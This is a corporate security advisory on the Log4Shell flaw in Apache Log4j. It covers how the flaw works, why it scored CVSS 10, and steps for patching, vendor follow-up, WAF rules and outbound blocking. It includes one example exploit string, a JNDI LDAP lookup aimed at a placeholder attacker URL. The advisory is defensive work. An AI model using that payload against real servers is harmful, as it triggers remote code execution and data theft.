Log4Shell Vulnerability: What We Know and Action Steps to Take

On December 10^th, a critical vulnerability was publicly disclosed in the Apache Log4j Java-based logging package, which is commonly used by organizations across the world. The flaw was first identified in November by a security researcher at Alibaba Cloud and reported to the Apache Software Foundation, which oversees Log4j and other open-source projects. The flaw was kept confidential to allow time to fix it before disclosing to the public late last week. Since then, the Apache Log4j version 2.15.0 that was released to remedy the flaw has been determined to not fully address the vulnerability and has been further updated to version 2.16.0.   

Described by many organizations as the worst zero-day in the last decade, if left unpatched, the Log4Shell vulnerability could lead to remote code execution, and hence, opening avenues for attackers to steal data or infect systems with harmful malware. Since disclosed, organizations have been racing to patch their servers and remediate the Log4Shell vulnerability. With the ubiquity of Log4j across industries, the full scale of this vulnerability will likely take weeks or even months to be fully remedied. 

What is Log4j and the Log4Shell Vulnerability? 

Log4j is an open-source, Java-based logging package used to store web server and software logs. Instead of provisioning a new logging system each time a software is created, developers often rely on open-source systems, like Log4j. Considering how many devices and software run on Java, this makes Log4j one of the most frequently used logging packages in the world and is subsequently the key reason why the Log4Shell vulnerability poses such a critical threat to organizations of all sizes.  

The Log4Shell vulnerability is derived from the way in which Log4j processes log messages. Adversaries can exploit this vulnerability by providing a web server with a JNDI lookup paired with an IP address controlled by the adversary (e.g.,${jndi:ldap://[attacker_URL]}). When this string is passed to Log4j for logging, it triggers the server to make a callback to the IP address listed in the JNDI string, giving attackers an open door to the host server to steal data or infect systems with harmful malware.  

Source: Bleepingcomputer.com

Why is Log4Shell a Critical Vulnerability?  

The Log4Shell vulnerability has been given the highest vulnerability score of 10 on the Common Vulnerability Scoring System (CVSS) scale because of its scope, severity, and priority for patching.   One key reason Log4Shell presents such a key risk to industries and organizations of all sizes is due to the sheer volume of devices and software that run on Java and subsequently rely on the Log4j logging package.  It is estimated up to 3 billion-plus devices currently running on Java may have been affected by the Log4Shell vulnerability.  

The Log4Shell vulnerability is also considered a critical zero-day due to the time required to identify and properly update vulnerable servers and software. Since disclosed, IT teams have been racing to patch Log4j while reviewing code for additional vulnerabilities and monitoring for unusual activity. According to Check Point, within the first 24 hours post-disclosure, there were 120,000 attack attempts, rising to 830,000 attempts just 48 hours later. 

Experts estimate that it will take weeks to even months for these updates to take place due to the sheer scope and ubiquity of Java products and the Log4j package. Due to the complexity in which code is layered and stacked upon one another, identifying and applying patches to vulnerable software and servers will require a significant amount of time. Likewise, upgrades may not be able to be performed on some legacy applications altogether. With the holiday season and planned vacations on the horizon, this could create delays in the patching process, leaving firms further vulnerable to attacks.  

Vendor risk is a third key concern when it comes to the Log4Shell vulnerability due to the interconnected nature of software supply chains and organizations. While some patching can be done internally at an organization, other patching must be executed by the vendors themselves. As such, the Cybersecurity and Infrastructure Security Agency (CISA) has called on the vendor community to “immediately identify, mitigate, and patch the wide array of products using this software. Vendors should also be communicating with their customers to ensure end users know that their product contains this vulnerability and should prioritize software updates.” 

Immediate Action Steps  

The Log4Shell vulnerability is serious and requires immediate action. ACA Aponix^® recommends your organization takes the following steps:   

1. Identify exposure
   Work with your IT team and/or MSP to identify which applications and servers are using Log4j. Start by reviewing all applications that use Java and block external-facing applications that use Log4j. Continuous scanning tools can also be used to help identify vulnerable assets; however, they should not be solely relied on to identify all vulnerabilities in your systems. 
2. Patch, patch, patch  
   Upgrade Log4j to the latest version 2.16.0.  The initial patch released by Apache, version 2.15.0, did not fully address the vulnerability, allowing threat actors to trigger a denial-of-service (DoS) attack on vulnerable systems. If you organization has already updated to version 2.15.0, ensure you take immediate action to upgrade to version 2.16.0.     
3. Engage with third-party Vendors  
   It is important your third-party vendors are also applying patches in a timely manner. Below is a sample of questions to ask vendors. Be sure to keep an accurate record of responses from each vendor and/or software provider.  
   
   - Are any external (Internet-facing) systems exposed to the Log4j vulnerability?     
   - Have mitigations been applied or are scheduled?
   - Are any internal systems exposed to the Log4j vulnerability? 
   - Have mitigations been applied or are scheduled? 
   - Have you discovered any indicators of compromise? 
   - Do you plan to contact your service providers regarding exposure, mitigation, and compromise? 
   
   For systems that will not be patched in a timely manner, firms should evaluate the risk in light of the firm’s exposure, other mitigation actions already taken, and the expected time for the vendor to remediate the vulnerability.  
4. Monitor network traffic activity & continuously update web application firewall (WAF) rules  
   With threat actors capitalizing on the Log4Shell vulnerability, expect to experience an increase in malicious traffic attempting to infiltrate networks. Regularly and continuously updating WAF rules will help thwart and defend against common intrusion techniques being used. This will allow your security team to prioritize patching.
5. Block outbound traffic to malicious or unknown domains 
   As the exploit requires a callback to an external attacker’s device, blocking outbound traffic to unknown domains can help reduce this from occurring. Additionally, review fw logs for new or unusual external communication such as a device that does not usually communicate externally but now is. If possible, prevent internal devices that do not need to communicate externally from doing so at all - but use caution as this may cause other issues.
6. Keep antivirus, endpoint detection & response (EDR), and host-based detection up to date  
   The Log4Shell vulnerability allows an attacker to run code on the impacted device. By keeping security tools up to date, they can help detect unusual activity.    

7. Communicate vulnerability to clients and internal staff  
   IT and information security teams should prioritize internal and external communication of the Log4Shell vulnerability and action-steps being taken to remediate it. Establish a designated person to handle client inquiries and prepare distribution material in advance to ensure all clients are receiving the same information. In tandem, communicate the vulnerability internally across your organization and business functions so departments can properly respond and/or direct inquiries to the right person. Through all communication, use digestible language that allows for easy understanding for those outside of information security roles..  

8. Reach out to ACA Aponix or other trusted third-party advisors for assistance in reviewing patching procedures as needed  

Long-term Action Steps   

1. Maintain Up to Date Asset Inventory  
   Keeping an asset inventory will allow you to more easily understand your security environment to help make informed decisions. Inventories can help with coordinating and tracking your patching program to ensure assets are up to date.  
2. Require Software Bill of Materials from Vendors (SBOM) 
   SBOM’s include information on the building blocks used in software products. Having this information readily available allows firms to more easily know if your assets are at risk to identified vulnerabilities.   
3. Monitor Network Activity  
   The Log4Shell vulnerability will not be the last of its kind. By proactively monitoring your organization’s network, you can detect and prevent threats before they occur while improving response times.  

Additional Resources 

New information and developments on the Log4Shell vulnerability is being discovered daily. To stay up to date and to read further about the vulnerability, we recommend the following outside resources:  

Cybersecurity & Infrastructure Agency (CISA)

Apache Log4j Vulnerability Announcement

What Do You Need to Know About the Log4j Critical Vulnerability and What Can You Do? - SOCRadar® Cyber Intelligence Inc.

Divide And Conquer: Rapid Response To The Apache Log4j Vulnerability  

What to Do While Waiting for the Log4J Updates 

Log4j flaw: Attackers are making thousands of attempts to exploit this severe vulnerability 

Mitigating Log4Shell and Other Log4j-Related Vulnerabilities

Log4j Scanner - A repository that provides a scanning solution for the log4j Remote Code Execution vulnerabilities

How we help  

ACA Aponix® offers the following solutions that can help your firm protect itself in relation to this and similar cybersecurity warnings, and to enhance its cybersecurity in general:   

• Threat intelligence, phishing testing and monitoring 
• Operational resilience and governance  
• Risk assessments and regulatory compliance testing services  

Download our Aponix Protect™ cybersecurity solution brochure.